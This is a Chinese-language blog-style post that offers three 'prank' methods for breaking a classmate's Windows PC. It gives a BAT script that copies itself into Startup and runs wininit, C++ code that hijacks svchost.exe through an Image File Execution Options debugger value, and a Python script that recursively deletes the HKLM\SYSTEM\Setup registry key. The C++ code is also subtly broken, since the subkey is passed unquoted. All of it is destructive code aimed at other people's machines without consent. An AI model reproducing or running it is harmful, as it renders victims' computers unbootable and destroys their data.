前言:暑假闲的没事,想整一下同学。整人最好的方案当然是弄汐Ta的电脑啦~
所以这里我给大家提供几种方法,可以拿去整整别人啦~(以下方法都会弄汐电脑!整人后果自负!!)
方案一:BAT
首先新建一个文本啦(建哪儿都行,名字也起啥都行),然后在文本中输入以下命令(代码类型我是乱选的,因为没有BAT)
@echo off
set cd=%~dp0
copy %cd% C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
wininit
PS:需要将第三行Administor换成你的用户名
接着将文本的后缀从“txt”改成“bat”或“cmd”,然后以管理员身份运行(运行后会立刻发作),最后你的电脑就可以开心的汐了~~
启动项:怎么赖我身上了??
方案二:C++
首先,确保你的电脑上装了Dev-cpp或其他C++编译器,如果没有,那么可以通过评论区中提供的网址进行下载和安装。如果有,那么可以直接输入以下指令
#include <windows.h>
#include <iostream>
int main() {
HKEY hKey;
LONG lResult;
DWORD dwDisposition;
// 定义要创建的注册表项的路径
const char* subKey = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options";
// 定义要设置的字符串值的名称和数据
const char* valueName = "debugger";
const char* valueData = "Nothing"; // 设置为空字符串
// 调用RegCreateKeyEx来创建或打开注册表项
lResult = RegCreateKeyEx(
HKEY_LOCAL_MACHINE, // 父键的句柄
svchost.exe, // 子键的名称
0, // 保留,必须为0
NULL, // 安全属性,NULL表示使用默认安全属性
REG_OPTION_NON_VOLATILE, // 选项标志,这里表示创建非易失性键
KEY_WRITE, // 所需的访问权限
NULL, // 类名,NULL表示没有类名
&hKey, // 接收打开的键的句柄
&dwDisposition // 接收操作的结果代码
);
// 现在,使用RegSetValueEx来设置字符串值
lResult = RegSetValueEx(
hKey, // 要设置值的键的句柄
valueName, // 值的名称
0, // 保留,必须为0
REG_SZ, // 值的数据类型,这里是字符串
(const BYTE*)valueData, // 指向数据的指针
strlen(valueData) + 1 // 数据的大小(包括空字符)
);
// 关闭注册表项
RegCloseKey(hKey);
return 0;
}
PS:“//”后的内容可以不抄,那些是注释
然后编译并以管理员身份运行,虽然运行后不会立刻发作,但当你重启后……
svchost:你不要过来呀!!
方法三:Python
当然,还是要确保你安装了Python-IDE,如果没有安装,那么可以通过评论区的网址进行下载,如果有,那么直接输入以下指令
import winreg as reg
def delete_registry_key_recursive(hive, subkey):
"""
递归删除注册表项及其所有子项和值。
:param hive: 注册表的主键,如reg.HKEY_CURRENT_USER或reg.HKEY_LOCAL_MACHINE
:param subkey: 要删除的项的路径
"""
try:
with reg.ConnectRegistry(None, hive) as root:
try:
# 打开要删除的项
key = reg.OpenKey(root, subkey, 0, reg.KEY_WRITE | reg.KEY_ENUMERATE_SUB_KEYS)
# 递归删除所有子项
i = 0
while True:
try:
subkey_name = reg.EnumKey(key, i)
delete_registry_key_recursive(hive, f"{subkey}\\{subkey_name}")
i += 1
except OSError: # 当没有更多子项时抛出
break
# 删除所有值
while True:
try:
reg.DeleteValue(key, reg.EnumValue(key, 0)[0])
except OSError: # 当没有更多值时抛出
break
# 关闭并删除当前项(注意:这里不需要再打开键,因为我们已经打开了它)
reg.CloseKey(key) # 首先关闭键
reg.DeleteKey(root, subkey) # 然后使用根句柄和子键路径来删除它
except Exception as e:
exit()
# 使用示例
# 注意:删除 HKEY_LOCAL_MACHINE 下的项通常需要管理员权限
delete_registry_key_recursive(
reg.HKEY_LOCAL_MACHINE,
r"SYSTEM\Setup" # 请确保这个路径是存在的,并且您确实想要删除它
)
PS:“#”后的内容可以不抄,那些是注释
保存并以管理员身份运行.py文件,和上个程序一样,这个程序也不会立刻发作,但如果想看效果的话,那就重启罢……
Setup:首先我没有惹任何人
总结
用哪种方法自己选,但这三种方法都对电脑有害,不要在实体机上测试!!(虽然第一种方法危害没那么大)
预告
下期出如何修复以上三种方法造成的伤害